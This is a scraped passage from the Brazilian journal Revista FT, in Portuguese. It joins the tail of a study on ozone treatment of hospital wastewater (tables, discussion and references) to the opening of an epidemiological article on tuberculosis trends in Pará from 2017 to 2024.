patogênica -UFC/mL</em></td><td>6,0 x 10<sup>4</sup></td><td>&lt;1</td><td>&lt;1</td><td>&lt;1</td><td>&lt;1</td><td>&lt;1</td></tr><tr><td><em>E. coli Enteropatogênica -UFC/mL</em></td><td>1,0 x 10<sup>6</sup></td><td>&lt;1</td><td>&lt;1</td><td>&lt;1</td><td>&lt;1</td><td>&lt;1</td></tr><tr><td>pH &#8211;&nbsp; U pH</td><td>7,05</td><td>7,07</td><td>7,04</td><td>7,02</td><td>7,03</td><td>6,97</td></tr><tr><td>Sólidos suspensos totais (mg.L<sup>-1</sup>)</td><td>&lt;10,0</td><td>&lt;10,0</td><td>&lt;10,0</td><td>&lt;10,0</td><td>&lt;10,0</td><td>&lt;10,0</td></tr><tr><td>Turbidez ( NTU)</td><td>10</td><td>6</td><td>&lt;1</td><td>&lt;1</td><td>&lt;1</td><td>&lt;1</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Autores.&nbsp;</p>



<p class="wp-block-paragraph">A tabela 02 abaixo, descreve os resultados dos testes do efluente real hospitalar, sendo o bruto, a condição inicial antes da dispersão de ozônio e os dados até 5 horas de exposição.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 02</strong>: Resultados dos testes da amostra real hospitalar</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td>Parâmetros</td><td>BrutoEfluente real</td><td>Após 1 hora de exposição</td><td>Após 2 horas de exposição</td><td>Após 3 horas de exposição</td><td>Após 4 horas de exposição</td><td>Após 5 horas de exposição</td></tr><tr><td>Paracetamol&nbsp; (µg.L<sup>-1</sup>)</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td></tr><tr><td>Dipirona&nbsp; (µg.L<sup>-1</sup>)</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td></tr><tr><td>Azitromicina (µg.L<sup>-1</sup>)</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td></tr><tr><td>Amoxicilina (µg.L<sup>-1</sup>)</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td></tr><tr><td>Cefalexina (µg.L<sup>-1</sup>)</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td></tr><tr><td>Diclofenaco (µg.L<sup>-1</sup>)</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td></tr><tr><td><em>Salmonela patogênica</em><em>UFC/mL</em></td><td>2,0 x 10<sup>2</sup></td><td>&lt;1</td><td>&lt;1</td><td>&lt;1</td><td>&lt;1</td><td>&lt;1</td></tr><tr><td><em>E. coli &#8211;</em><em>UFC/mL</em><em> enteropatogênica</em></td><td>9,0 x 10<sup>5</sup></td><td>3,5 x 10<sup>3</sup></td><td>&lt;1</td><td>&lt;1</td><td>&lt;1</td><td>&lt;1 UFC/mL</td></tr><tr><td>pH – U pH</td><td>6,87</td><td>6,82</td><td>6,81</td><td>6,89</td><td>6,80</td><td>6,79</td></tr><tr><td>Sólidos suspensos totais (mg.L<sup>-1</sup>)</td><td>210,0</td><td>220,0</td><td>210,0</td><td>180,0</td><td>165,0</td><td>130,0</td></tr><tr><td>Turbidez&nbsp; (NTU)</td><td>39</td><td>27</td><td>19</td><td>15</td><td>12</td><td>5</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Autores.&nbsp;</p>



<p class="wp-block-paragraph">Pelos resultados obtidos podemos observar que em ambos os testes, o ozônio foi eficaz em eliminar bactérias patogênicas, sendo que na solução isenta de sólidos suspensos, apenas de 1 hora ocorreu o decréscimo completo e em solução contendo sólidos em&nbsp; 3 horas. Vários autores relatam a descontaminação total em até 15 minutos e outras fontes em 30 minutos, porém todas em unanimidade trazem ozônio com agente esterilizante (Duarte et al., 2022; Oliveira et al., 2018; Lima et al., 2021; Perchonok et al., 2005; Oller et al., 2011; Languais et al., 1991; Amorin et al., 2009; Eltech, 1998).&nbsp;</p>



<p class="wp-block-paragraph">A figura 01A traz a comparação da placa de&nbsp; meio de cultura da solução preparada antes da exposição e a placa semeada da solução após a exposição de 1 hora (figura 01B) com ozônio na concentração 5 g/L/H.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 01</strong>: 01A Solução preparada /bruto. 01B: solução teste após 1 hora de exposição.</p>



<figure class="wp-block-image aligncenter size-full"><img fetchpriority="high" decoding="async" width="468" height="264" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-466.png" alt="" class="wp-image-263493" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-466.png 468w, https://revistaft.com.br/wp-content/uploads/2026/01/image-466-300x169.png 300w" sizes="(max-width: 468px) 100vw, 468px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Autores.</p>



<p class="wp-block-paragraph">A <em>Escherichia coli</em> patogênica é uma Enterobactéria que causa diversos surtos de diarreia, infecção urinária e mortes por sepsemia em pacientes hospitalizados (Brasil, 2010). A <em>Salmonela spp </em>é a bactéria responsável pelas intoxicações graves alimentares, principal causa de zoonoses e com maior ocorrência em surtos de gastroenterites no mundo (FUNASA, 2004). Por isso, essa solução tecnológica é de suma importância no intuito de garantir o não lançamento de efluentes contendo bactérias nocivas e evitando a contaminação dos ambientes aquáticos.&nbsp;</p>



<p class="wp-block-paragraph">Para os fármacos, que são chamados de poluentes persistentes, que induzem a resistência microbiana, tivemos remoção de 100% quando foi exposto por 5 horas/L/H.</p>



<p class="wp-block-paragraph">O Paracetamol foi eliminado em 3 horas, Dipirona em 4 horas e azitromicina, amoxicilina, cefalexina e diclofenaco em 5 horas.</p>



<p class="wp-block-paragraph">Importante observar pelos cromatogramas obtidos figura 02 e 03, podemos facilmente comparar a solução bruta (figura 02) com a solução teste de 4 horas de exposição (figura 03), sendo nítido que os picos das substâncias aumentam nos primeiros minutos no teste de 4 horas, ou seja, ocorre um aumento de compostos de baixo peso molecular, os quais possuem tempo de retenções menores enquanto a solução bruta inicial, possuem os fármacos com altos pesos moleculares e tempo de retenção maiores, ficando nítido a quebra de cadeias dos fármacos.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 02</strong>: Cromatograma da solução bruta contendo fármacos. PM = Peso molecular.</p>



<figure class="wp-block-image aligncenter size-full"><img decoding="async" width="600" height="336" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-470.png" alt="" class="wp-image-263498" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-470.png 600w, https://revistaft.com.br/wp-content/uploads/2026/01/image-470-300x168.png 300w" sizes="(max-width: 600px) 100vw, 600px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Autores</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 03</strong>: Cromatograma da solução teste após 4 horas de ozônio. PM = Peso molecular.</p>



<figure class="wp-block-image aligncenter size-full"><img decoding="async" width="630" height="341" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-471.png" alt="" class="wp-image-263499" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-471.png 630w, https://revistaft.com.br/wp-content/uploads/2026/01/image-471-300x162.png 300w" sizes="(max-width: 630px) 100vw, 630px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Autores.</p>



<p class="wp-block-paragraph">No cromatograma da figura 04 ocorre a eliminação de diversos componentes de cadeias complexas, demonstrando a eficiência do ozônio na decomposição dos fármacos testados.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 04</strong>: Cromatograma da solução de após 5 horas de exposição com ozônio.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="811" height="342" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-469.png" alt="" class="wp-image-263497" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-469.png 811w, https://revistaft.com.br/wp-content/uploads/2026/01/image-469-300x127.png 300w, https://revistaft.com.br/wp-content/uploads/2026/01/image-469-768x324.png 768w" sizes="(max-width: 811px) 100vw, 811px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Autores</p>



<p class="wp-block-paragraph">Kurniawan et al., 2006; Amorin et al.(2009); Hassemer et al., 2002; Oller et al. (2011)&nbsp; descreveram o poder do ozônio na desregulação de cadeias carbônicas, transformação de compostos e degradação de compostos aromáticos, colaborando com os testes realizados, sendo que Paracetamol foi eliminado em 3 horas e dipirona em 4 horas.&nbsp;</p>



<p class="wp-block-paragraph">Duarte et al., 2022; Ukuku et al., 2012; Reynolds et al., 1989; Perchonok et al. (2005); Languais et al. (1991) descrevem na degradação da matéria orgânica e eliminação de odores, corantes e turbidez. Nos testes realizados a solução preparada, tabela 01, a turbidez saiu de 10 NTU e em duas horas a solução estava límpida com turbidez &lt; 1 NTU. Já o teste com efluente real de origem hospitalar, tabela 02, a turbidez saiu de 39 NTU para 5 NTU em 5 horas, o que condiz com os autores.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Para os testes de eliminação de bactérias fica evidente que a presença de sólidos suspensos totais é de suma importância para a eficiência do ozônio e uma forma simples de potencializar a instalação de filtros anteriores ao reator de ozônio. Como o tempo de retenção pode ser estendido, alternativas de concentradores de oxigênio, instalação de lâmpadas ultravioletas com comprimento de onda específico, difusores com nanobolhas, coluna d’água, material do tanque, são estratégias para otimizar o sistema. Estudos caso a caso são importantes devido às características de cada efluente a ser tratado, pois o tempo de retenção pode ser até necessário 24 horas, 48 horas&nbsp; ou mais, quando se trata de substâncias de alta estabilidade, simetria e compostos mistos sinérgicos. Como o efluente real não foi encontrada a presença de fármacos, não podemos concluir sobre o impacto de sólidos suspensos na degradação de moléculas persistentes.&nbsp;</p>



<p class="wp-block-paragraph">Contudo, as Estações de tratamento para atividades hospitalares, domiciliares, farmacêuticas, ou demais que possam possuir características de resíduos químicos persistentes e microrganismos patogênicos precisam contínuo aperfeiçoamento, focando na eliminação de parasitas especializados que possam causar pandemias globais.&nbsp;</p>



<p class="wp-block-paragraph"><strong>CONCLUSÕES</strong></p>



<p class="wp-block-paragraph">O ozônio se mostrou uma solução tecnológica plausível e de alta eficiência contra males ocultos, ou seja, invisíveis, porém presentes no ecossistema como bactérias e fármacos dissolvidos.</p>



<p class="wp-block-paragraph">A aplicação correta traz benefícios ao meio ambiente e a saúde humana e animal, evitando que microrganismos altamente resistentes possam chegar aos rios e oceanos e disseminar patologias intratáveis.&nbsp;</p>



<p class="wp-block-paragraph">Esse trabalho colabora com os ODS – Objetivos de desenvolvimento sustentável buscando saúde para todos e trazendo soluções tecnológicas para problemas reais.&nbsp;</p>



<p class="wp-block-paragraph"><strong>AGRADECIMENTOS</strong></p>



<p class="wp-block-paragraph"><strong></strong>Agradecemos a empresa Goldlab Ciência e Tecnologia pela realização dos ensaios e testes necessários para este trabalho.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">ANVISA. Agência Nacional de Vigilância Sanitária (ANVISA). <strong>Nota Técnica n° 1/2013</strong> – Medidas de prevenção e controle de infecções por enterobactérias multiresistentes. Brasília (DF): <strong>ANVISA</strong>. 2013.</p>



<p class="wp-block-paragraph">APHA, AWWA, WEF in: L.S. Clesceri, A. E.; Greenberg, A. D. Eaton (Eds.), Standard Methods for the Examination of Water and Wastewater, 23th ed., <strong>American Public Health Association</strong>, American Water Works Association, Water Environment Federation,Washington, DC, USA, 2023.</p>



<p class="wp-block-paragraph">Amorin, C. C.; Leão, M.; Moreira, R. F. P. M. Comparação entre diferentes Processos Oxidativos Avançados para degradação de corante azo. <strong>Revista de Eng. Sanitária e Ambiental,</strong> Rio de Janeiro, v. 14, n. 4, p. 543-550, out-dez. 2009.&nbsp;</p>



<p class="wp-block-paragraph">Anzolin, A.P; Bertol,C.D. Ozone therapy as an integrating therapeutic in osteoartrosis treatment: a systematic review. REVIEW ARTICLE. <strong>BrJP.</strong> 2018.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Bocci, V. Ozone: a new medical drug. 1ª ed., Berlin: Springer, 2005.</p>



<p class="wp-block-paragraph">BRASIL.<strong> Ministério da Saúde.</strong> Manual integrado de vigilância, prevenção e controle de doenças transmitidas por alimentos. Brasília: Editora do Ministério da Saúde, 2010.&nbsp;</p>



<p class="wp-block-paragraph">Duarte, A.; Thomas, N.; Arul, J. Hydrogen Peroxide Can Enhance the Synthesis of Bioactive Compounds in Harvested Broccoli Florets<strong>. </strong><a href="https://www.researchgate.net/journal/Frontiers-in-Sustainable-Food-Systems-2571-581X?_tp=eyJjb250ZXh0Ijp7ImZpcnN0UGFnZSI6InB1YmxpY2F0aW9uIiwicGFnZSI6InB1YmxpY2F0aW9uIn19"><strong>Frontiers in Sustainable Food Systems</strong></a><strong>. </strong>2022</p>



<p class="wp-block-paragraph">Eltech Ozone Pvt. Ltd. Effects of Ozone on Bacteria, Ozone Generation System in Mumbai, <strong>India</strong><strong>.</strong> 1998.</p>



<p class="wp-block-paragraph">FUNASA. Brasil. Ministério da Saúde. FUNASA. CENEPI. Mortalidade Brasil 2004. Brasília: CENEPI/<strong>FUNASA</strong>; 2004.&nbsp;</p>



<p class="wp-block-paragraph">Haluch, S.M. Microbiologia clínica. Universidade Positivo. <strong>DP Content.</strong> [Livro online]. Acesso restrito. 2019<sup>a</sup></p>



<p class="wp-block-paragraph">Haluch, S.M. Microbiologia. Universidade Positivo. <strong>DP Content.</strong> [Livro online]. Acesso restrito. 2019<sup>b</sup></p>



<p class="wp-block-paragraph">Haluch et al. Haluch, S.M.; Haluch, F.C. DIAGNÓSTICO DE PASSIVOS AMBIENTAIS EM ATERROS HOSPITALARES. <strong>Revistaft. </strong>27(124), 30.&nbsp;<a href="https://doi.org/10.5281/zenodo.8116930%20.%202023">https://doi.org/10.5281/zenodo.8116930 . 2023</a><sup>c</sup></p>



<p class="wp-block-paragraph">Haluch et al. <em>. </em>Flávia Caroline Haluch, Gleyciane Martins Rodrigues, Helen Bury, Silvia Mara Haluch e Sandro José Froehner.&nbsp;(2023).&nbsp;CONTROLES E INDICADORES DE DESEMPENHO DE UMA ESTAÇÃO DE TRATAMENTOS DE EFLUENTES INDUSTRIAIS – ESTUDO DE CASO.<strong>&nbsp;Revistaft,</strong> 27(123), 48.&nbsp;<a href="https://doi.org/10.5281/zenodo.8076148">https://doi.org/10.5281/zenodo.8076148</a> 2023. <sup>D</sup></p>



<p class="wp-block-paragraph">Haluch et al.<em> </em>&nbsp;Haluch et al.<sup> </sup>Investigação da presença de enterobactérias resistentes à antibióticos comerciais em matrizes de aterro hospitalar com vistas em novos parâmetros regulatórios. <strong>Revista FT</strong>. Ed 122. DOI: 10.5281/zenodo.7991957. 2023.<em> </em><em><sup>E</sup></em></p>



<p class="wp-block-paragraph">Haluch et al. Prospecção de novos antimicrobianos e bactericidas frente a microrganismos de interesse de saúde pública. <strong>Brazilian Journal of Animal and Environmental Research Braz. J. Anim. Environ. Res</strong>., Curitiba, v. 3, n. 4, p. 3630-3652, out./dez. 2020 ISSN 2595-573X 3. DOI: 10.34188/bjaerv3n4-069. 2020.</p>



<p class="wp-block-paragraph">Hassemer, M. E. N.; Sens, M. L. Tratamento do efluente de uma indústria têxtil: processo físico-químico com ozônio e coagulação/floculação. <strong>Revista Engenharia Sanitária e Ambiental.</strong> v. 7, n.1, p. 30-36, 2002.&nbsp;</p>



<p class="wp-block-paragraph">Kurniawan, T. A.; LO, W.; Chan, G. Y. S. Radicals-catalyzed oxidation reactions for degradation of recalcitrant compounds from landfill leachate. C<strong>hemical Engineering Journal</strong>, v. 125, p. 35-57, 2006.&nbsp;</p>



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<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Mestre em Ciências, Biomédica, Química e Biotecnóloga. Pesquisadora e Gerente da Qualidade da Goldlab Ciência e Tecnologia Ltda. <a href="mailto:Goldlablaboratorios@gmail.com">Goldlablaboratorios@gmail.com</a><br><sup>2</sup>Biomédica, Microbiologista, Toxicologista, estudante de pós-graduação em ESG &#8211; PUC/PR&nbsp; Pesquisadora e Gerente Técnica da Goldlab Ciência e Tecnologia Ltda. <a href="mailto:Goldlablaboratorios@gmail.com">Goldlablaboratorios@gmail.com</a></p>
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		<title>TENDÊNCIA DOS ÍNDICES DE TUBERCULOSE NO ESTADO DO PARÁ: ANÁLISE MUNICIPAL (2017–2024)</title>
		<link>https://revistaft.com.br/tendencia-dos-indices-de-tuberculose-no-estado-do-para-analise-municipal-2017-2024/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Thu, 04 Dec 2025 13:54:16 +0000</pubDate>
				<category><![CDATA[Biomedicina]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=256683</guid>

					<description><![CDATA[TRENDS IN TUBERCULOSIS RATES IN THE STATE OF PARÁ: MUNICIPAL ANALYSIS (2017–2024) TENDENCIAS DE LAS TASAS DE TUBERCULOSIS EN EL ESTADO DE PARÁ: ANÁLISIS MUNICIPAL (2017-2024) REGISTRO DOI: 10.69849/revistaft/cl10202512041102 Andrei Barbosa de Sá1Elaine Cristina Simões do Vale2Mara Alexandra Faria Mourão3Orientadora: Eliane Leite da Trindade4Coorientadora: Caroline Ferreira Fernandes5 RESUMO&#160; Introdução: A tuberculose (TB) é uma doença [&#8230;]]]></description>
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<p class="wp-block-paragraph">TRENDS IN TUBERCULOSIS RATES IN THE STATE OF PARÁ: MUNICIPAL ANALYSIS (2017–2024)</p>



<p class="wp-block-paragraph">TENDENCIAS DE LAS TASAS DE TUBERCULOSIS EN EL ESTADO DE PARÁ: ANÁLISIS MUNICIPAL (2017-2024)</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512041102</p>



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<p class="has-text-align-right wp-block-paragraph">Andrei Barbosa de Sá<sup>1</sup><br>Elaine Cristina Simões do Vale<sup>2</sup><br>Mara Alexandra Faria Mourão<sup>3</sup><br>Orientadora: Eliane Leite da Trindade<sup>4</sup><br>Coorientadora: Caroline Ferreira Fernandes<sup>5</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Introdução:</strong> A tuberculose (TB) é uma doença infectocontagiosa causada pelo <em>Mycobacterium tuberculosis</em>, sendo os pulmões os órgãos mais afetados. No entanto, a TB também pode acometer os rins, a pele, os ossos, os gânglios linfáticos e diversos outros órgãos e tecidos. A transmissão ocorre pela via aérea, por meio da inalação de aerossóis que contêm os bacilos, os quais são expelidos pela tosse, espirro ou fala de indivíduos com TB pulmonar ou laríngea. Estudos indicam que o bacilo pode permanecer no ambiente por até oito horas, sendo esse tempo maior em ambientes pouco ventilados e sem circulação de ar. É importante destacar que apenas as pessoas com a forma ativa da doença e bacilíferas são capazes de transmitir a TB. <strong>Objetivo: </strong>Analisar a evolução dos índices de tuberculose nos municípios do estado do Pará no período de 2017 a 2024, identificando tendências, variações regionais e possíveis fatores associados.<strong> Metodologia:</strong> O estudo será do tipo epidemiológico descritivo, retrospectivo, com abordagem quantitativa. O estudo foi realizado por meio de análise de dados disponibilizados pelo Departamento de Informática do Sistema Único de Saúde (DATASUS). Serão extraídos registros referentes ao perfil epidemiológico da tuberculose no Estado do Pará, no período de 2017 a 2024, incluindo informações sociodemográficas, clínicas e laboratoriais. Os dados serão baixados em formatos compatíveis para análise estatística (CSV ou XLS) e organizados em planilhas. Serão analisadas informações de casos de tuberculose por residência no Estado do Pará entre 2017 e 2024.&nbsp; <strong>Resultados:</strong> A análise temporal dos casos de tuberculose notificados no Estado do Pará entre os anos de 2017 e 2024 evidencia a persistência da doença como um importante problema de saúde pública. Apesar dos avanços no diagnóstico e tratamento, observa-se uma tendência geral de crescimento no número de notificações ao longo do período, sugerindo expansão da transmissão comunitária e possíveis desafios relacionados à vigilância ativa, adesão terapêutica e barreiras de acesso aos serviços de saúde. <strong>Conclusão:</strong> O presente estudo evidenciou que, entre 2017 e 2024, a tuberculose no Estado do Pará apresentou distribuição geográfica desigual, com concentração significativa de casos nos municípios da Região Metropolitana I, especialmente Belém, seguido por Ananindeua, Marituba, Benevides e Castanhal. Essa centralização das notificações reflete tanto a maior densidade populacional e a presença de áreas de urbanização acelerada quanto a melhor capacidade de vigilância e diagnóstico instalada nesses centros urbanos</p>



<p class="wp-block-paragraph"><strong>Palavras-chaves:</strong> Tuberculose; Perfil Epidemiológico; Pará; Morbimortalidade; Doenças Infectocontagiosas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph"><strong>Introduction:</strong> Tuberculosis (TB) is an infectious disease caused by Mycobacterium tuberculosis, with the lungs being the most affected organs. However, TB can also affect the kidneys, skin, bones, lymph nodes, and various other organs and tissues. Transmission occurs through the air, via inhalation of aerosols containing bacilli, which are expelled by coughing, sneezing, or speaking by individuals with pulmonary or laryngeal TB. Studies indicate that the bacillus can remain in the environment for up to eight hours, with this time being longer in poorly ventilated environments without air circulation. It is important to emphasize that only people with the active form of the disease and who are bacilliferous are capable of transmitting TB. <strong>Objective:</strong> To analyze the evolution of tuberculosis rates in the municipalities of the state of Pará from 2017 to 2024, identifying trends, regional variations, and possible associated factors. <strong>Methodology:</strong> The study will be a descriptive, retrospective epidemiological study with a quantitative approach. This study was conducted using data provided by the Department of Informatics of the Unified Health System (DATASUS). Records relating to the epidemiological profile of tuberculosis in the State of Pará, from 2017 to 2024, will be extracted, including sociodemographic, clinical, and laboratory information. The data will be downloaded in formats compatible with statistical analysis (CSV or XLS) and organized into spreadsheets. Information on tuberculosis cases by residence in the State of Pará between 2017 and 2024 will be analyzed. <strong>Results:</strong> The temporal analysis of tuberculosis cases reported in the State of Pará between 2017 and 2024 shows the persistence of the disease as a significant public health problem. Despite advances in diagnosis and treatment, a general upward trend in the number of notifications is observed over the period, suggesting an expansion of community transmission and potential challenges related to active surveillance, therapeutic adherence, and barriers to access to health services. <strong>Conclusion:</strong> This study showed that, between 2017 and 2024, tuberculosis in the state of Pará presented an uneven geographical distribution, with a significant concentration of cases in the municipalities of Metropolitan Region I, especially Belém, followed by Ananindeua, Marituba, Benevides, and Castanhal. This centralization of notifications reflects both the higher population density and the presence of areas of accelerated urbanization, as well as the better surveillance and diagnostic capacity installed in these urban centers.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Tuberculosis; Epidemiological Profile; Pará; Morbidity and Mortality; Infectious Diseases.</p>



<p class="wp-block-paragraph"><strong>RESUMEN</strong></p>



<p class="wp-block-paragraph"><strong>Introducción:</strong> La tuberculosis (TB) es una enfermedad infecciosa causada por Mycobacterium tuberculosis, siendo los pulmones el órgano más afectado. Sin embargo, la TB también puede afectar los riñones, la piel, los huesos, los ganglios linfáticos y otros órganos y tejidos. La transmisión se produce por vía aérea, mediante la inhalación de aerosoles que contienen bacilos, que son expulsados ​​al toser, estornudar o hablar por personas con TB pulmonar o laríngea. Estudios indican que el bacilo puede permanecer en el ambiente hasta ocho horas, siendo este tiempo mayor en ambientes mal ventilados y sin circulación de aire. Es importante destacar que solo las personas con la forma activa de la enfermedad y bacilíferas son capaces de transmitir la TB. <strong>Objetivo:</strong> Analizar la evolución de las tasas de tuberculosis en los municipios del estado de Pará entre 2017 y 2024, identificando tendencias, variaciones regionales y posibles factores asociados. <strong>Metodología:</strong> El estudio será un estudio epidemiológico descriptivo, retrospectivo y cuantitativo. Este estudio se realizó utilizando datos proporcionados por el Departamento de Informática del Sistema Único de Salud (DATASUS). Se extraerán los registros relacionados con el perfil epidemiológico de la tuberculosis en el Estado de Pará, de 2017 a 2024, incluyendo información sociodemográfica, clínica y de laboratorio. Los datos se descargarán en formatos compatibles con el análisis estadístico (CSV o XLS) y se organizarán en hojas de cálculo. Se analizará la información sobre los casos de tuberculosis por residencia en el Estado de Pará entre 2017 y 2024. <strong>Resultados:</strong> El análisis temporal de los casos de tuberculosis notificados en el Estado de Pará entre 2017 y 2024 muestra la persistencia de la enfermedad como un problema significativo de salud pública. A pesar de los avances en el diagnóstico y el tratamiento, se observa una tendencia general ascendente en el número de notificaciones durante el período, lo que sugiere una expansión de la transmisión comunitaria y posibles desafíos relacionados con la vigilancia activa, la adherencia terapéutica y las barreras de acceso a los servicios de salud. <strong>Conclusión:</strong> Este estudio mostró que, entre 2017 y 2024, la tuberculosis en el estado de Pará presentó una distribución geográfica desigual, con una concentración significativa de casos en los municipios de la Región Metropolitana I, especialmente Belém, seguido de Ananindeua, Marituba, Benevides y Castanhal. Esta centralización de las notificaciones refleja tanto la mayor densidad poblacional y la presencia de áreas de urbanización acelerada, como la mejor capacidad de vigilancia y diagnóstico en estos centros urbanos.</p>



<p class="wp-block-paragraph"><strong>Palabras clave:</strong> Tuberculosis; Perfil Epidemiológico; Pará; Morbilidad y Mortalidad; Enfermedades Infecciosas.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A tuberculose (TB) é uma doença infectocontagiosa causada pelo <em>Mycobacterium tuberculosis</em>, sendo os pulmões os órgãos mais afetados. No entanto, a TB também pode acometer os rins, a pele, os ossos, os gânglios linfáticos e diversos outros órgãos e tecidos. A transmissão ocorre pela via aérea, por meio da inalação de aerossóis que contêm os bacilos, os quais são expelidos pela tosse, espirro ou fala de indivíduos com TB pulmonar ou laríngea. Estudos indicam que o bacilo pode permanecer no ambiente por até oito horas, sendo esse tempo maior em ambientes pouco ventilados e sem circulação de ar. É importante destacar que apenas as pessoas com a forma ativa da doença e bacilíferas são capazes de transmitir a TB (SESPA, 2021a).</p>



<p class="wp-block-paragraph">Os primeiros registros históricos da tuberculose (TB) constam em escritos do médico italiano Girolamo Fracastoro, em 1546, nos quais ele descreveu as características de contágio da doença. Posteriormente, em 24 de março de 1882, o médico alemão Robert Koch apresentou à comunidade científica o isolamento do <em>Mycobacterium tuberculosis</em>, identificando-o como o agente etiológico da TB. Em sua homenagem, o bacilo também é conhecido como bacilo de Koch. Antes da pandemia de COVID-19, a TB era a principal causa de morte por um único agente infeccioso, ultrapassando o HIV/AIDS (WHO, 2021).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Vestígios da TB foram encontrados em restos humanos da era pré-histórica na Alemanha, com relatos que remontam a aproximadamente oito mil anos antes de Cristo (a.C.). Na época, por se tratar de uma doença desconhecida, a tuberculose, assim como diversas outras enfermidades, era frequentemente interpretada como castigo divino. A disseminação da tuberculose pelo mundo foi intensificada com o advento das guerras, que favoreciam o estreito contato entre indivíduos, facilitando a transmissão da doença. É importante ressaltar que, nas últimas décadas, houve avanços significativos no combate à TB, incluindo diagnósticos, tratamentos e estratégias. Contudo, ainda é um importante problema de saúde pública, longe de ser superado (Tavares <em>et al.,</em> 2020).</p>



<p class="wp-block-paragraph">Ademais, enfatiza-se que o diagnóstico da tuberculose é baseado na combinação de vários fatores, incluindo sinais e sintomas clínicos, exames de imagem, testes de laboratório e avaliação da exposição do paciente a outras pessoas infectadas. Além&nbsp; disso, existem vários testes de laboratório que podem ser usados para diagnosticar a patologia, como o teste tuberculínico e a cultura de escarro. É válido ressaltar que o diagnóstico precoce e preciso da tuberculose é fundamental para o tratamento eficaz e a prevenção da disseminação da doença para outras pessoas (Freitas <em>et al.,</em> 2022).&nbsp;</p>



<p class="wp-block-paragraph">Logo, embora seja uma doença tratável e curável, muitos países ainda enfrentam desafios significativos no seu controle, incluindo diagnóstico tardio, tratamento inadequado e resistência aos medicamentos. Assim, delinear um perfil epidemiológico da tuberculose é fundamental para entender a distribuição da doença em uma população específica, identificar grupos de risco, desenvolver estratégias de prevenção e controle e avaliar a eficácia das intervenções de saúde pública, haja vista que tais dados podem ser usados para direcionar esforços de prevenção e controle da tuberculose, bem como questionar a eficácia das intervenções de saúde pública, monitorando as tendências temporais da doença (Arcêncio <em>et al.,</em> 2022).</p>



<p class="wp-block-paragraph">Houve uma redução na incidência da TB entre 2001 e 2015, passando de 41,9 casos por 100 mil habitantes para 34,3 casos por 100 mil habitantes. Destaca-se a incorporação de novas tecnologias, como o teste rápido molecular TRM-TB, que agiliza o diagnóstico, permitindo um aumento da incidência a partir de 2015. No entanto, houve uma queda acentuada na incidência em 2020, devido à pandemia da COVID-19, interferindo diretamente no número de pessoas diagnosticadas, assim como na busca ativa de novos casos e no seguimento do tratamento (Brasil, 2023).</p>



<p class="wp-block-paragraph">Para Cortez <em>et al.,</em> (2021), o Brasil é um país multifacetado, marcado por diferentes regiões com características singulares, destacando-se diferenças sociais, políticas, geográficas, econômicas, etc. No entanto, há um ponto em comum entre as regiões: a maioria da população, 71%, utiliza os serviços públicos de saúde prestados pelo SUS, sendo a porta de entrada fundamental para o diagnóstico e o início do tratamento.</p>



